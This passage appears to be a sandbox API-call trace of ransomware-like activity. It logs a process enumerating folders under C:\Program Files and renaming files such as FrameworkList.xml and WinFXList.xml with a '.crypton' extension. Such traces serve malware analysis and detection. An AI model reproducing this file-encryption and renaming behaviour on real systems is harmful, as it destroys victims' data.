cAlternateFileName="")) returned 0x549790 [0138.088] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfab3700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfab3700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.088] GetFileType (hFile=0x190) returned 0x1 [0138.092] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfab3700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfab3700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.093] GetFileType (hFile=0x1f4) returned 0x1 [0138.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfab3700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfab3700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.098] GetFileType (hFile=0x1f0) returned 0x1 [0138.102] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfad9860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfad9860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.104] GetFileType (hFile=0x190) returned 0x1 [0138.108] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfad9860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfad9860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.109] GetFileType (hFile=0x1a4) returned 0x1 [0138.113] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfad9860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfad9860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.114] GetFileType (hFile=0x20c) returned 0x1 [0138.126] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfaff9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfaff9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.193] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), lpNewFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf.crypton" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf.crypton"), dwFlags=0x2) returned 1 [0138.196] GetFileType (hFile=0x190) returned 0x1 [0138.201] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfbbe0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfbbe0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.206] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfbbe0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfbbe0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.208] GetFileType (hFile=0x20c) returned 0x1 [0138.212] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfbe4200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfbe4200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.212] GetFileType (hFile=0x214) returned 0x1 [0138.217] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfbe4200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfbe4200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0138.218] GetFileType (hFile=0x1f4) returned 0x1 [0138.222] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfbe4200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfbe4200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.223] GetFileType (hFile=0x1f0) returned 0x1 [0138.227] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfc0a360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc0a360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.232] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfc0a360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc0a360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.237] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc0a360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc0a360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.238] GetFileType (hFile=0x1f0) returned 0x1 [0138.243] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc304c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc304c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.243] GetFileType (hFile=0x190) returned 0x1 [0138.250] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc304c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc304c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.255] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc304c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc304c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.256] GetFileType (hFile=0x1a4) returned 0x1 [0138.260] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc56620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc56620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.264] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc56620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc56620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.265] GetFileType (hFile=0x1f0) returned 0x1 [0138.269] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc56620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc56620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.270] GetFileType (hFile=0x190) returned 0x1 [0138.277] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc7c780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc7c780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.284] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfc7c780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfc7c780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.285] GetFileType (hFile=0x20c) returned 0x1 [0138.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfca28e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfca28e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.crypton" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.crypton"), dwFlags=0x2) returned 1 [0138.303] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.crypton" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.crypton"), dwFlags=0x2) returned 1 [0138.309] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfcc8a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfcc8a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0138.310] GetFileType (hFile=0x20c) returned 0x1 [0138.317] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfcc8a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfcc8a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0138.318] GetFileInformationByHandle (in: hFile=0x214, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0138.320] GetFileType (hFile=0x1f4) returned 0x1 [0138.324] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Uninstall Information\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xcfceeba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfceeba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.327] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Defender\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfceeba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfceeba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.329] GetFileType (hFile=0x1f0) returned 0x1 [0138.333] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfceeba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfceeba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.337] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Journal\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xcfd14d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd14d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.341] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xcfd14d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd14d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.346] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xcfd14d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd14d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.350] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Mail\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcfd14d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd14d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.350] GetFileType (hFile=0x1f0) returned 0x1 [0138.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfd3ae60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd3ae60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.358] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfd3ae60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd3ae60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549750 [0138.363] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcfd3ae60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd3ae60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.363] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.370] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfd60fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd60fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.378] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcfd60fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfd60fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0138.387] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x4abd70 | out: 